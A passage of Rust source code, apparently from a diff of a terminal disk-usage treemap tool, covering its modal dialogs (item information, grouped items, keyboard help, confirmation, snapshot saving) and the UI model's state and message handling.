let inner = w - 4;
let lines = f.md.content(self, tr, inner);
let foot = f.md.footer(self);
let mut chrome = 4; // border top/bottom, title rule
if !foot.is_empty() {
chrome += 2;
}
let h = (lines.len() as i32 + chrome).min(cv.h - 2).max((chrome + 1).min(cv.h));
let (x0, y0) = ((cv.w - w) / 2, (cv.h - h) / 2);
let r = Rect { x: x0, y: y0, w, h };
let bg = if t.panel_bg.is_default() { t.bg } else { t.panel_bg };
let base = Style::new(t.fg, bg);
// Drop shadow.
if !t.mono {
let black = |mut s: Style| {
s.bg = rgb(0, 0, 0);
s
};
cv.restyle(Rect { x: x0 + 1, y: y0 + h, w, h: 1 }, black);
cv.restyle(Rect { x: x0 + w, y: y0 + 1, w: 1, h }, black);
}
cv.fill(r, " ", base);
let border = Style::new(t.accent, bg).with(BOLD);
cv.draw_box(r, if t.ascii { BOX_ASCII } else { BOX_ROUND }, border);
cv.text(x0 + 2, y0 + 1, &f.md.title().to_uppercase(), inner, Style::new(t.accent, bg).with(BOLD));
let rule = if t.ascii { "-" } else { "─" };
cv.hline(x0 + 1, y0 + 2, w - 2, rule, Style::new(t.faint, bg));
f.view_h = h - chrome;
f.content_n = lines.len() as i32;
f.clamp_scroll();
let mut i = 0;
while i < f.view_h && ((f.scroll + i) as usize) < lines.len() {
let mut x = x0 + 2;
for sp in &lines[(f.scroll + i) as usize] {
let st = match sp.st {
Some(mut st) => {
if st.bg.is_default() {
st.bg = bg;
}
st
}
None => base,
};
x += cv.text(x, y0 + 3 + i, &sp.s, x0 + 2 + inner - x, st);
}
i += 1;
}
let n = lines.len() as i32;
if n > f.view_h && f.view_h > 0 {
let mut ind = format!(
"{}–{}/{}",
textutil::count(f.scroll as i64 + 1),
textutil::count((f.scroll + f.view_h).min(n) as i64),
textutil::count(n as i64)
);
if f.scroll > 0 {
ind = format!("▲ {ind}");
}
if f.scroll + f.view_h < n {
ind += " ▼";
}
cv.text_right(x0 + 1, y0 + 1, w - 3, &ind, Style::new(t.muted, bg));
}
if !foot.is_empty() {
cv.hline(x0 + 1, y0 + h - 3, w - 2, rule, Style::new(t.faint, bg));
cv.text(x0 + 2, y0 + h - 2, &foot, inner, Style::new(t.muted, bg));
}
self.modals.push(f);
self.hits.clear();
self.hits.push(Hit { r, act: HitAct::None });
}
}
/// Breaks s into chunks of at most w cells (used for long paths).
pub(crate) fn wrap(s: &str, w: i32) -> Vec<String> {
if w <= 0 {
return Vec::new();
}
let mut out = Vec::new();
let mut cur = String::new();
let mut cw = 0;
textutil::clusters(s, |c, cwid| {
if cw + cwid as i32 > w {
out.push(std::mem::take(&mut cur));
cw = 0;
}
cur.push_str(c);
cw += cwid as i32;
true
});
if !cur.is_empty() || out.is_empty() {
out.push(cur);
}
out
}
+438
View File
@@ -0,0 +1,438 @@
//! The concrete modals: item information, LOD group, help, confirmation and
//! save snapshot.
use super::canvas::{rgb, Style, BOLD};
use super::keys::default_snapshot_name;
use super::mapview::Group;
use super::modal::{kv, styled, txt, wrap, Line, Modal, Span};
use super::model::{Cmd, Model};
use super::search::LineEditor;
use super::{fmt_time, pad_left, pad_right, san, si_units, trunc, tw};
use crate::export;
use crate::filter;
use crate::inventory::{NodeId, Tree, FLAG_ALLOC_UNKNOWN, FLAG_HARDLINK_DUP, FLAG_INCOMPLETE, FLAG_LOOP, FLAG_SCANNED, FLAG_SKIPPED_FS, FLAG_SPARSE, FLAG_VIRTUAL_FS, NO_NODE};
use crate::platform;
use crate::textutil;
// ---- Item information -------------------------------------------------------
struct InfoModal {
id: NodeId,
btime: i64, // live birth time (0 if unknown)
}
pub(crate) fn new_info_modal(m: &Model, tr: &Tree, id: NodeId) -> Box<dyn Modal> {
let mut md = InfoModal { id, btime: 0 };
if !m.snapshot {
// Birth time is not kept in the inventory; read it live.
if let Ok(meta) = platform::lstat(&tr.path_bytes(id)) {
md.btime = meta.btime;
}
}
Box::new(md)
}
impl Modal for InfoModal {
fn width(&self) -> i32 {
72
}
fn title(&self) -> String {
"Item information".into()
}
fn footer(&self, m: &Model) -> String {
let mut s = format!("Esc close · c copy path · o {} · Space go to", reveal_verb());
if !m.opts.read_only && !m.snapshot {
s += &format!(" · d {}", delete_verb());
}
s
}
fn content(&self, m: &mut Model, tr: &Tree, w: i32) -> Vec<Line> {
let t = m.theme.clone();
let n = tr.node(self.id);
let ks = Style::new(t.muted, Default::default());
let vs = Style::new(t.fg, Default::default());
let bold = vs.with(BOLD);
let warn = Style::new(t.warn, Default::default()).with(BOLD);
let mut out: Vec<Line> = Vec::new();
let add = |out: &mut Vec<Line>, k: &str, v: String| out.push(kv(k, v, ks, vs));
let add_s = |out: &mut Vec<Line>, k: &str, v: String, st: Style| out.push(kv(k, v, ks, st));
let col = m.color_of(tr, self.id as i64);
let title = Style::new(col.mix(rgb(255, 255, 255), 0.3), Default::default()).with(BOLD);
for l in wrap(&san(&n.name), w) {
out.push(styled(l, title));
}
out.push(txt(""));
out.push(styled("Path", ks));
for l in wrap(&san(&tr.path_bytes(self.id)), w) {
out.push(styled(l, vs));
}
if san(&n.name).as_bytes() != &*n.name {
out.push(styled("Name contains control or invalid characters (shown escaped)", warn));
}
out.push(txt(""));
let mode = m.size_mode;
if n.is_dir() {
add_s(&mut out, "Total logical", format!("{} ({} bytes)", textutil::size(n.tot_size), textutil::count(n.tot_size)), bold);
add_s(&mut out, "Total allocated", format!("{} ({} bytes)", textutil::size(n.tot_alloc), textutil::count(n.tot_alloc)), bold);
add(&mut out, "Files", textutil::count(n.files as i64));
add(&mut out, "Directories", textutil::count(n.dirs as i64));
if n.parent != NO_NODE {
add(&mut out, "Of parent", textutil::percent(n.total(mode), tr.node(n.parent).total(mode)));
}
add(&mut out, "Of scan", textutil::percent(n.total(mode), tr.node(0).total(mode)));
let k = m.kids_of(tr, self.id);
if let Some(&first) = k.ids.first() {
add(&mut out, "Largest child", format!("{} ({})", san(&tr.node(first).name), textutil::size(k.sizes[0])));
}
if n.errors > 0 {
add_s(&mut out, "Errors beneath", textutil::count(n.errors as i64), Style::new(t.err, Default::default()).with(BOLD));
}
let state = if n.has(FLAG_INCOMPLETE) {
"incomplete (not fully read)"
} else if !n.has(FLAG_SCANNED) && m.scanning {
"scanning…"
} else if n.has(FLAG_SKIPPED_FS | FLAG_VIRTUAL_FS | FLAG_LOOP) {
"not descended"
} else {
"complete"
};
add(&mut out, "Scan state", state.into());
} else {
add_s(&mut out, "Logical size", format!("{} ({} bytes)", textutil::size(n.size), textutil::count(n.size)), bold);
let alloc = if n.has(FLAG_ALLOC_UNKNOWN) {
"unknown on this platform".to_string()
} else {
format!("{} ({} bytes)", textutil::size(n.alloc), textutil::count(n.alloc))
};
add_s(&mut out, "Allocated size", alloc, bold);
if n.parent != NO_NODE {
add(&mut out, "Of parent", textutil::percent(n.own(mode), tr.node(n.parent).total(mode)));
}
}
if let Some(r) = &m.search.result {
add(&mut out, "Matching filter", textutil::size(r.size(self.id)));
}
if let Some(d) = &m.opts.diff {
match d.old_size(self.id, mode) {
Some(old) => {
add(&mut out, "In old snapshot", textutil::size(old));
add_s(&mut out, "Change", textutil::signed_size(n.total(mode) - old), bold);
}
None => add_s(&mut out, "Change", "new since old snapshot".into(), Style::new(t.diff_new, Default::default()).with(BOLD)),
}
}
out.push(txt(""));
add(&mut out, "Type", n.kind.name().into());
if !n.is_dir() {
let e = tr.ext_name(n);
if !e.is_empty() {
add(&mut out, "Extension", textutil::sanitize(e));
}
add(&mut out, "Category", n.cat.name().into());
}
out.push(txt(""));
if n.mtime > 0 {
add(&mut out, "Modified", fmt_time(n.mtime));
}
if self.btime > 0 {
add(&mut out, "Created", fmt_time(self.btime));
}
out.push(txt(""));
add(&mut out, "Mode", platform::mode::string(n.mode));
add(&mut out, "Owner", textutil::sanitize(&platform::user_name(n.uid)));
add(&mut out, "Group", textutil::sanitize(&platform::group_name(n.gid)));
if !n.is_dir() {
add(&mut out, "Hard links", n.nlink.to_string());
let sparse = if n.has(FLAG_SPARSE) {
format!("Yes (or compressed) — {} not allocated", textutil::size(n.size - n.alloc))
} else {
"No".into()
};
add(&mut out, "Sparse", sparse);
}
let fl = export::flag_list(n.flags & !(FLAG_SCANNED | FLAG_SPARSE));
if !fl.is_empty() {
add_s(&mut out, "Flags", fl.join(", "), warn);
}
if n.has(FLAG_HARDLINK_DUP) {
out.push(styled("Another path to this inode was counted; this one adds nothing to totals.", ks));
}
if m.snapshot {
out.push(txt(""));
out.push(styled("From snapshot — metadata as recorded, not live.", ks));
}
out
}
fn key(&mut self, m: &mut Model, tr: &Tree, k: &str) -> (bool, Cmd) {
match k {
"c" => (false, m.copy_path(&tr.path_bytes(self.id))),
"o" => {
m.sel = self.id as i64;
// Headless, o navigates the map, which the modal would cover.
let c = m.reveal(tr);
(platform::headless(), c)
}
"enter" => (true, Cmd::None),
"g" | "right" => {
m.jump_to(tr, self.id);
(true, Cmd::None)
}
"d" | "delete" => {
m.sel = self.id as i64;
(true, m.request_trash(tr))
}
_ => (false, Cmd::None),
}
}
}
// ---- LOD group ------------------------------------------------------------------
struct GroupModal {
g: Group,
}
pub(crate) fn new_group_modal(g: Group) -> Box<dyn Modal> {
Box::new(GroupModal { g })
}
impl Modal for GroupModal {
fn width(&self) -> i32 {
70
}
fn title(&self) -> String {
"Smaller items (grouped)".into()
}
fn footer(&self, _: &Model) -> String {
"Esc close · Space shows them in the list view".into()
}
fn content(&self, m: &mut Model, tr: &Tree, w: i32) -> Vec<Line> {
let t = m.theme.clone();
let ids = self.g.ids();
let mut out = vec![
txt(format!("{} items too small to draw individually at this size,", textutil::count(ids.len() as i64))),
txt(format!("totalling {}. Zoom in or enlarge the terminal to see them.", textutil::size(self.g.size))),
txt(""),
];
for (i, &id) in ids.iter().enumerate() {
if i == 200 {
out.push(styled(format!("… and {} more", textutil::count(ids.len() as i64 - 200)), Style::new(t.muted, Default::default())));
break;
}
let n = tr.node(id);
let mut name = san(&n.name);
if n.is_dir() {
name.push('/');
}
out.push(vec![
Span { s: pad_left(&textutil::size(m.size_of(tr, id)), 11) + " ", st: Some(Style::new(t.muted, Default::default())) },
Span { s: trunc(&name, w - 13), st: Some(Style::new(m.color_of(tr, id as i64).mix(t.fg, 0.4), Default::default())) },
]);
}
out
}
fn key(&mut self, m: &mut Model, _: &Tree, k: &str) -> (bool, Cmd) {
if k == "enter" {
m.sel = self.g.ids()[0] as i64;
m.set_view_by_name("List");
return (true, Cmd::None);
}
(false, Cmd::None)
}
}
// ---- Help ---------------------------------------------------------------------
struct HelpModal;
pub(crate) fn new_help_modal() -> Box<dyn Modal> {
Box::new(HelpModal)
}
impl Modal for HelpModal {
fn width(&self) -> i32 {
78
}
fn title(&self) -> String {
"Keyboard reference".into()
}
fn footer(&self, _: &Model) -> String {
"Esc close · ↑↓ scroll".into()
}
fn content(&self, m: &mut Model, _: &Tree, _: i32) -> Vec<Line> {
let t = m.theme.clone();
let h = Style::new(t.accent, Default::default()).with(BOLD);
let k = Style::new(t.sel, Default::default()).with(BOLD);
let d = Style::new(t.fg, Default::default());
let muted = Style::new(t.muted, Default::default());
let mut out: Vec<Line> = Vec::new();
let sec = |out: &mut Vec<Line>, s: &str| {
if !out.is_empty() {
out.push(txt(""));
}
out.push(styled(s, h));
};
let row = |out: &mut Vec<Line>, keys: &str, desc: &str| {
out.push(vec![Span { s: format!(" {}", pad_right(keys, 19)), st: Some(k) }, Span { s: desc.into(), st: Some(d) }]);
};
sec(&mut out, "NAVIGATION");
row(&mut out, "↑ ↓ ← → hjkl", "move spatially through the treemap");
row(&mut out, "Enter", "inspect the selected item");
row(&mut out, "Space →", "zoom into the selected directory");
row(&mut out, "Backspace ←", "zoom out one level");
row(&mut out, "Home", "back to the scan root");
row(&mut out, "click / dbl-click", "select / zoom (mouse)");
row(&mut out, "wheel", "zoom in/out (map), scroll (lists)");
sec(&mut out, "SEARCH & FILTER");
row(&mut out, "/", "search or filter; the map shows only matches");
row(&mut out, "Esc", "clear the filter");
out.push(styled(" ubuntu *.iso size > 5GB ext IN (iso,qcow2) age > 365d", muted));
out.push(styled(" path contains cache AND NOT type = dir owner = andy flag = sparse", muted));
let fields: Vec<&str> = filter::FIELDS.split_whitespace().collect();
let split = 7.min(fields.len());
out.push(styled(format!(" fields: {}", fields[..split].join(" ")), muted));
out.push(styled(format!(" {}", fields[split..].join(" ")), muted));
out.push(styled(" sizes: KiB/MiB/GiB (1024), kB/MB/GB (1000); ages: s min h d w mo y", muted));
sec(&mut out, "VIEWS");
row(&mut out, "Tab Shift+Tab", "next / previous view");
row(&mut out, "1 – 7", "jump to a view");
row(&mut out, "x", "file types (extension statistics)");
row(&mut out, "g", "top lists: largest, oldest, sparse, hard links …");
row(&mut out, "e", "scan information and errors");
row(&mut out, "D", "find duplicate files (reads file contents)");
sec(&mut out, "APPLICATION");
row(&mut out, "a", "toggle allocated / logical (apparent) size");
row(&mut out, "c", "copy path to clipboard");
row(&mut out, "o", reveal_verb());
if !m.opts.read_only {
row(&mut out, "d", &format!("{} (asks first)", delete_verb()));
}
row(&mut out, "s", "save snapshot");
row(&mut out, "r", "rescan");
row(&mut out, "T", "cycle colour theme");
row(&mut out, "Ctrl+C", "cancel scan; press again to quit");
row(&mut out, "q", "quit");
out.push(txt(""));
let units = if si_units() { "SI (kB = 1000 bytes)" } else { "IEC (KiB = 1024 bytes)" };
out.push(styled(format!("Sizes: {} · units: {units}", m.size_mode.name()), muted));
out
}
fn key(&mut self, _: &mut Model, _: &Tree, _: &str) -> (bool, Cmd) {
(false, Cmd::None)
}
}
// ---- Confirmation -------------------------------------------------------------
pub(crate) type OnYes = Box<dyn FnOnce(&mut Model) -> Cmd>;
pub(crate) struct ConfirmModal {
pub ttl: String,
pub body: Vec<String>,
pub yes: String,
pub on_yes: Option<OnYes>,
}
impl Modal for ConfirmModal {
fn width(&self) -> i32 {
self.body.iter().map(|b| tw(b)).fold(40, i32::max).min(90)
}
fn title(&self) -> String {
self.ttl.clone()
}
fn footer(&self, _: &Model) -> String {
format!("y {} · n / Esc cancel", self.yes)
}
fn content(&self, _: &mut Model, _: &Tree, w: i32) -> Vec<Line> {
self.body.iter().flat_map(|b| wrap(b, w)).map(txt).collect()
}
fn key(&mut self, m: &mut Model, _: &Tree, k: &str) -> (bool, Cmd) {
match k {
"y" | "Y" => (true, self.on_yes.take().map_or(Cmd::None, |f| f(m))),
"n" | "N" | "enter" => (true, Cmd::None),
_ => (false, Cmd::None),
}
}
}
// ---- Save snapshot ---------------------------------------------------------------
struct SaveModal {
ed: LineEditor,
}
pub(crate) fn new_save_modal(tr: &Tree) -> Box<dyn Modal> {
let mut md = SaveModal { ed: LineEditor::default() };
md.ed.set(&default_snapshot_name(&tr.stats.root));
Box::new(md)
}
impl Modal for SaveModal {
fn editor(&mut self) -> Option<&mut LineEditor> {
Some(&mut self.ed)
}
fn width(&self) -> i32 {
70
}
fn title(&self) -> String {
"Save snapshot".into()
}
fn footer(&self, _: &Model) -> String {
"Enter save · Esc cancel".into()
}
fn content(&self, m: &mut Model, _: &Tree, w: i32) -> Vec<Line> {
let t = &m.theme;
let mut out = vec![txt("File:")];
let s = textutil::sanitize(&self.ed.text());
for l in wrap(&(s + "█"), w) {
out.push(styled(l, Style::new(t.fg, Default::default()).with(BOLD)));
}
if m.scanning {
out.push(txt(""));
out.push(styled("The scan is still running: the snapshot will be marked incomplete.", Style::new(t.warn, Default::default())));
}
out
}
fn key(&mut self, m: &mut Model, _: &Tree, k: &str) -> (bool, Cmd) {
match k {
"esc" => (true, Cmd::None),
"enter" => {
let p = self.ed.text().trim().to_string();
if p.is_empty() {
return (false, Cmd::None);
}
let s = m.save_snapshot(p);
let i = m.info("Saving snapshot…");
(true, Cmd::batch(vec![s, i]))
}
_ => (false, Cmd::None),
}
}
}
/// Describe o and d, which change meaning on a headless system.
pub(crate) fn reveal_verb() -> &'static str {
if platform::headless() {
"show folder in map"
} else {
"reveal in file manager"
}
}
pub(crate) fn delete_verb() -> String {
if platform::headless() {
return "delete permanently".into();
}
format!("move to {}", platform::TRASH_NAME)
}
+572
View File
@@ -0,0 +1,572 @@
//! The model: all UI state, the message handler and the frame cache.
//!
//! Threading: update and view run on the event-loop thread. The scan
//! controller mutates the inventory concurrently, so every read of tree data
//! happens under the tree's read lock, taken once per entry point (view,
//! handle_key, mouse handlers) and passed down as `&Tree`; helpers never lock
//! again (a recursive read lock can deadlock against a waiting writer). The
//! model itself is only touched on the event-loop thread.
use super::actions::DupState;
use super::canvas::Style;
use super::canvas::BOLD;
use super::data::Kids;
use super::mapview::TmLayout;
use super::modal::ModalFrame;
use super::search::SearchState;
use super::theme::{load_theme, Theme};
use super::views::View;
use crate::cancel::Cancel;
use crate::config::Settings;
use crate::duplicate;
use crate::filter::FilterResult;
use crate::inventory::{NodeId, SizeMode, Tree};
use crate::scan::Scanner;
use crate::snapshot;
use crate::textutil;
use crate::treemap::Rect;
use std::collections::HashMap;
use std::rc::Rc;
use std::sync::{Arc, RwLock};
use std::time::{Duration, Instant};
/// Begins a scan (or returns a loaded tree with no scanner). Called again
/// on rescan.
pub type StartFn = Arc<dyn Fn(Cancel) -> Result<(Option<Scanner>, Arc<RwLock<Tree>>), crate::Error> + Send + Sync>;
/// Configures the interactive session.
pub struct Options {
pub read_only: bool,
pub theme: String,
pub size_mode: SizeMode,
pub mouse: bool,
pub color: String, // auto, truecolor, 256, 16, none
pub save: String, // save a snapshot here when the scan completes
pub settings: Settings,
pub start: StartFn,
pub diff: Option<snapshot::Diff>, // compare mode
}
/// The colour capability of the terminal.
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
pub(crate) enum Profile {
TrueColor,
Ansi256,
Ansi,
Ascii,
}
/// A key press. name follows Bubble Tea's keystroke names ("a", "G",
/// "ctrl+c", "shift+tab", "space", "pgdown", …); text is the inserted
/// text for printable keys.
#[derive(Clone, Debug, Default)]
pub(crate) struct Key {
pub name: String,
pub text: String,
pub ctrl_alt: bool,
}
impl Key {
/// A key from its keystroke name, as the Go tests build them: single
/// characters insert themselves, "space" inserts " ".
pub fn from_name(s: &str) -> Key {
let text = match s {
"space" => " ".to_string(),
_ if s.chars().count() == 1 => s.to_string(),
_ => String::new(),
};
Key { name: s.to_string(), text, ctrl_alt: s.starts_with("ctrl+") || s.starts_with("alt+") }
}
}
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
pub(crate) enum Button {
Left,
Right,
Middle,
}
/// Messages delivered to update.
pub(crate) enum Msg {
Size(i32, i32),
Tick,
ScanDone(Arc<RwLock<Tree>>), // identifies the scan by its tree
Filter { gen: u64, res: Option<FilterResult> },
FilterDebounce(u64),
DupDone { finder: Arc<duplicate::Finder>, groups: Option<Vec<duplicate::Group>> },
TrashDone { tree: Arc<RwLock<Tree>>, id: NodeId, err: Option<String>, done: String },
SaveDone { path: String, err: Option<String> },
Key(Key),
Click { x: i32, y: i32, button: Button },
Wheel { x: i32, y: i32, up: bool },
Motion { x: i32, y: i32 },
Quit, // SIGTERM
}
/// Side effects requested by update, executed by the event loop.
pub(crate) enum Cmd {
None,
Batch(Vec<Cmd>),
/// Runs on a background thread; its message is delivered to update.
Run(Box<dyn FnOnce() -> Msg + Send>),
/// Delivers the message after the delay.
Tick(Duration, Msg),
/// Puts text on the clipboard (OSC 52).
Clipboard(String),
}
impl Cmd {
pub fn run(f: impl FnOnce() -> Msg + Send + 'static) -> Cmd {
Cmd::Run(Box::new(f))
}
pub fn batch(v: Vec<Cmd>) -> Cmd {
let v: Vec<Cmd> = v.into_iter().filter(|c| !matches!(c, Cmd::None)).collect();
if v.is_empty() {
Cmd::None
} else {
Cmd::Batch(v)
}
}
/// Runs background commands synchronously and returns their messages
/// (ticks and clipboard writes are dropped). For tests and benchmarks.
pub fn run_sync(self) -> Vec<Msg> {
match self {
Cmd::Run(f) => vec![f()],
Cmd::Batch(v) => v.into_iter().flat_map(Cmd::run_sync).collect(),
_ => Vec::new(),
}
}
}
/// A clickable region recorded while painting.
pub(crate) struct Hit {
pub r: Rect,
pub act: HitAct,
}
#[derive(Clone, Copy)]
pub(crate) enum HitAct {
None,
SetView(usize),
ZoomTo(NodeId),
Block(i64),
Row(usize), // a row of the current view's table
}
pub(crate) fn group_id(parent: NodeId) -> i64 {
-1 - parent as i64
}
pub(crate) fn is_group(id: i64) -> bool {
id < 0
}
pub(crate) fn group_parent(id: i64) -> NodeId {
(-1 - id) as NodeId
}
pub(crate) const NO_SEL: i64 = 1 << 62;
/// MAPSIZE_DEBUG_PANIC=ui panics on the first key press; =scanner panics in
/// a background thread shortly after start. Lets developers verify terminal
/// restoration on crashes.
pub(crate) fn debug_panic() -> String {
std::env::var("MAPSIZE_DEBUG_PANIC").unwrap_or_default()
}
pub(crate) struct Model {
pub opts: Options,
pub theme: Rc<Theme>,
pub scanner: Option<Scanner>,
pub tree: Arc<RwLock<Tree>>,
pub cancel: Cancel,
pub scanning: bool,
pub snapshot: bool, // tree was loaded from a snapshot (not the live filesystem)
pub ctrl_c: bool, // a Ctrl+C already cancelled the scan
pub w: i32,
pub h: i32,
pub profile: Profile,
pub size_mode: SizeMode,
pub views: Vec<View>,
pub view: usize,
pub zoom: NodeId,
pub sel: i64, // selected block: NodeId, or group_id(parent) for an LOD group
// user_sel is set once the user has chosen a selection; before that the
// selection follows the largest block.
pub user_sel: bool,
pub zoomed: bool, // zoom changed during this message (zoom_to set user_sel)
pub search: SearchState,
pub modals: Vec<ModalFrame>,
pub toast: String,
pub toast_style: Style,
pub toast_until: Instant,
// Frame and data caches.
pub dirty: bool,
pub frame: String,
pub data_ver: u64, // bumped when sizes/filters change; invalidates caches
pub last_data: Option<Instant>, // last time data_ver advanced during a scan
pub kids_cache: HashMap<NodeId, Rc<Kids>>,
pub kids_ver: u64,
pub tm: Option<Rc<TmLayout>>,
pub hits: Vec<Hit>, // clickable regions from the last frame
pub hover: i64,
pub last_click: Option<Instant>,
pub last_click_i: i64,
pub ticking: bool,
pub pending_zoom: Option<Vec<u8>>, // path to re-zoom after a rescan
pub dups: Option<DupState>,
pub quit: bool,
}
impl Model {
pub fn new(opts: Options, s: Option<Scanner>, t: Arc<RwLock<Tree>>, cancel: Cancel) -> Model {
let mut name = opts.theme.clone();
if (name.is_empty() || name == "default") && std::env::var_os("NO_COLOR").is_some() {
name = "mono".into();
}
let mut theme = load_theme(&name, &opts.settings);
if std::env::var("TERM").is_ok_and(|v| v.eq_ignore_ascii_case("linux"))
|| std::env::var_os("MAPSIZE_ASCII").is_some_and(|v| !v.is_empty())
{
theme.ascii = true;
}
let mut views = vec![View::Map, View::List(Default::default()), View::Ext(Default::default()),
View::Top(Default::default()), View::Info(Default::default())];
if opts.diff.is_some() {
views.push(View::Changes(Default::default()));
}
let scanning = s.is_some();
Model {
size_mode: opts.size_mode,
opts,
theme: Rc::new(theme),
scanner: s,
tree: t,
cancel,
scanning,
snapshot: !scanning,
ctrl_c: false,
w: 0,
h: 0,
profile: Profile::TrueColor,
views,
view: 0,
zoom: 0,
sel: NO_SEL,
user_sel: false,
zoomed: false,
search: SearchState::default(),
modals: Vec::new(),
toast: String::new(),
toast_style: Style::default(),
toast_until: Instant::now(),
dirty: true,
frame: String::new(),
data_ver: 0,
last_data: None,
kids_cache: HashMap::new(),
kids_ver: 0,
tm: None,
hits: Vec::new(),
hover: NO_SEL,
last_click: None,
last_click_i: NO_SEL,
ticking: false,
pending_zoom: None,
dups: None,
quit: false,
}
}
/// Starts ticking and waits for scan completion.
pub fn init(&mut self) -> Cmd {
if self.scanning {
let w = self.wait_scan();
let t = self.start_ticking();
return Cmd::batch(vec![w, t]);
}
Cmd::None
}
fn wait_scan(&self) -> Cmd {
let Some(s) = &self.scanner else { return Cmd::None };
let (rx, tree) = (s.done().clone(), s.tree.clone());
Cmd::run(move || {
let _ = rx.recv();
Msg::ScanDone(tree)
})
}
pub fn refresh_interval(&self) -> Duration {
let hz = if self.opts.settings.refresh_hz <= 0 { 10 } else { self.opts.settings.refresh_hz };
Duration::from_secs(1) / hz as u32
}
/// Returns a tick command unless one is already pending.
pub fn start_ticking(&mut self) -> Cmd {
if self.ticking {
return Cmd::None;
}
self.ticking = true;
Cmd::Tick(self.refresh_interval(), Msg::Tick)
}
fn needs_ticks(&self) -> bool {
self.scanning || Instant::now() < self.toast_until || self.dups.as_ref().is_some_and(|d| d.running)
}
/// Shows a transient status message.
pub fn notify(&mut self, s: String, st: Style) -> Cmd {
self.toast = s;
self.toast_style = st;
self.toast_until = Instant::now() + Duration::from_secs(4);
self.dirty = true;
self.start_ticking()
}
pub fn info(&mut self, s: impl Into<String>) -> Cmd {
let st = Style::new(self.theme.fg, self.theme.status_bg);
self.notify(s.into(), st)
}
pub fn warn(&mut self, s: impl Into<String>) -> Cmd {
let st = Style::new(self.theme.warn, self.theme.status_bg).with(BOLD);
self.notify(s.into(), st)
}
/// Marks size-dependent caches stale.
pub fn invalidate(&mut self) {
self.data_ver += 1;
self.dirty = true;
}
/// Handles one message.
pub fn update(&mut self, msg: Msg) -> Cmd {
match msg {
Msg::Size(w, h) => {
// Only record the size; layout is recomputed lazily in view,
// so a storm of resize events costs at most one layout per
// frame.
if w != self.w || h != self.h {
(self.w, self.h) = (w, h);
self.dirty = true;
}
Cmd::None
}
Msg::Tick => {
self.ticking = false;
if self.scanning {
self.dirty = true;
if self.last_data.is_none_or(|t| t.elapsed() >= Duration::from_millis(400)) {
self.invalidate();
self.last_data = Some(Instant::now());
}
self.resolve_pending_zoom();
}
if !self.toast.is_empty() && Instant::now() > self.toast_until {
self.toast.clear();
self.dirty = true;
}
let mut cmds = Vec::new();
if self.scanning
&& self.search.query.is_some()
&& self.search.applied_at.is_none_or(|t| t.elapsed() > Duration::from_secs(1))
{
cmds.push(self.apply_filter());
}
if self.dups.as_ref().is_some_and(|d| d.running) {
self.dirty = true;
}
if self.needs_ticks() {
cmds.push(self.start_ticking());
}
Cmd::batch(cmds)
}
Msg::ScanDone(t) => {
if !Arc::ptr_eq(&t, &self.tree) {
return Cmd::None; // a superseded scan
}
self.scan_finished()
}
Msg::Filter { gen, res } => self.filter_result(gen, res),
Msg::FilterDebounce(gen) => {
if gen == self.search.gen {
return self.apply_filter();
}
Cmd::None
}
Msg::DupDone { finder, groups } => self.dup_done(finder, groups),
Msg::TrashDone { tree, id, err, done } => self.trash_done(tree, id, err, done),
Msg::SaveDone { path, err } => match err {
Some(e) => self.warn(format!("Snapshot save failed: {}", textutil::sanitize(&e))),
None => self.info(format!("Saved snapshot {}", textutil::sanitize(&path))),
},
Msg::Key(k) => {
if debug_panic() == "ui" {
panic!("MAPSIZE_DEBUG_PANIC=ui: deliberate panic to test terminal restoration");
}
self.dirty = true;
let prev = self.sel;
self.zoomed = false;
let cmd = self.handle_key(&k);
self.note_selection(prev);
cmd
}
Msg::Click { x, y, button } => {
let prev = self.sel;
self.zoomed = false;
let cmd = self.mouse_click(x, y, button);
self.note_selection(prev);
cmd
}
Msg::Wheel { x, y, up } => self.mouse_wheel(x, y, up),
Msg::Motion { x, y } => {
self.mouse_motion(x, y);
Cmd::None
}
Msg::Quit => {
self.quit = true;
Cmd::None
}
}
}
/// Records that the user chose a selection explicitly.
fn note_selection(&mut self, prev: i64) {
if !self.zoomed && self.sel != prev && self.sel != NO_SEL {
self.user_sel = true;
}
}
fn scan_finished(&mut self) -> Cmd {
self.scanning = false;
self.invalidate();
self.resolve_pending_zoom();
let (total, files, dirs, errs, el, cancelled) = {
let t = self.tree.read().unwrap();
let st = &t.stats;
(t.node(0).total(self.size_mode), st.files + st.symlinks + st.others, st.dirs, st.total_errors(), st.elapsed(), st.cancelled)
};
let mut cmds = Vec::new();
let rate = (files + dirs) as f64 / el.as_secs_f64().max(0.001);
let mut msg = format!(
"✓ Scan complete {} · {} files · {} dirs · {} · {}/s",
textutil::duration(el), textutil::count(files), textutil::count(dirs), textutil::size(total), textutil::count(rate as i64)
);
if cancelled {
msg = "✗ Scan cancelled — totals are incomplete".into();
}
if errs > 0 {
msg += &format!(" · {} errors (e)", textutil::count(errs));
}
if cancelled || errs > 0 {
cmds.push(self.warn(msg));
} else {
let st = Style::new(self.theme.ok, self.theme.status_bg).with(BOLD);
cmds.push(self.notify(msg, st));
}
if !self.opts.save.is_empty() && !cancelled {
let p = self.opts.save.clone();
cmds.push(self.save_snapshot(p));
}
if self.search.query.is_some() {
cmds.push(self.apply_filter());
}
Cmd::batch(cmds)
}
/// First press cancels a running scan, second quits.
pub fn ctrl_c_pressed(&mut self) -> Cmd {
if self.scanning && !self.ctrl_c {
self.ctrl_c = true;
self.cancel.cancel();
return self.warn("Cancelling scan… press Ctrl+C again to quit");
}
self.quit = true;
Cmd::None
}
/// Called from handle_key, which holds the old tree's read lock (tr).
pub fn rescan(&mut self, tr: &Tree) -> Cmd {
if self.snapshot {
return self.warn("Snapshot loaded — nothing to rescan");
}
self.pending_zoom = Some(tr.path_bytes(self.zoom));
self.cancel.cancel();
let cancel = Cancel::new();
let (s, t) = match (self.opts.start)(cancel.clone()) {
Ok(v) => v,
Err(e) => {
cancel.cancel();
return self.warn(format!("Rescan failed: {}", textutil::sanitize(&e.to_string())));
}
};
self.scanning = s.is_some();
(self.scanner, self.tree, self.cancel, self.ctrl_c) = (s, t, cancel, false);
(self.zoom, self.sel) = (0, NO_SEL);
self.kids_cache.clear();
self.tm = None;
if let Some(d) = self.dups.take() {
d.cancel.cancel();
// Drop the duplicates view: its rows referred to the old tree.
if let Some(i) = self.views.iter().position(|v| matches!(v, View::Dups(_))) {
self.views.remove(i);
self.view = 0;
}
}
self.search.result = None;
self.search.gen += 1; // results computed against the old tree are discarded
self.invalidate();
let w = self.wait_scan();
let tk = self.start_ticking();
let i = self.info("Rescanning…");
